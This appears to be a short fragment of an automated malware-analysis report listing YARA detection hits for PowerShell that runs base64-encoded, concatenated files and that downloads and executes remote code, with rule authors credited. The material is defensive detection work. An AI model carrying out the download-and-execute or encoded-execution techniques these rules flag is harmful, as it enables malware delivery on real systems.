INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
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System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |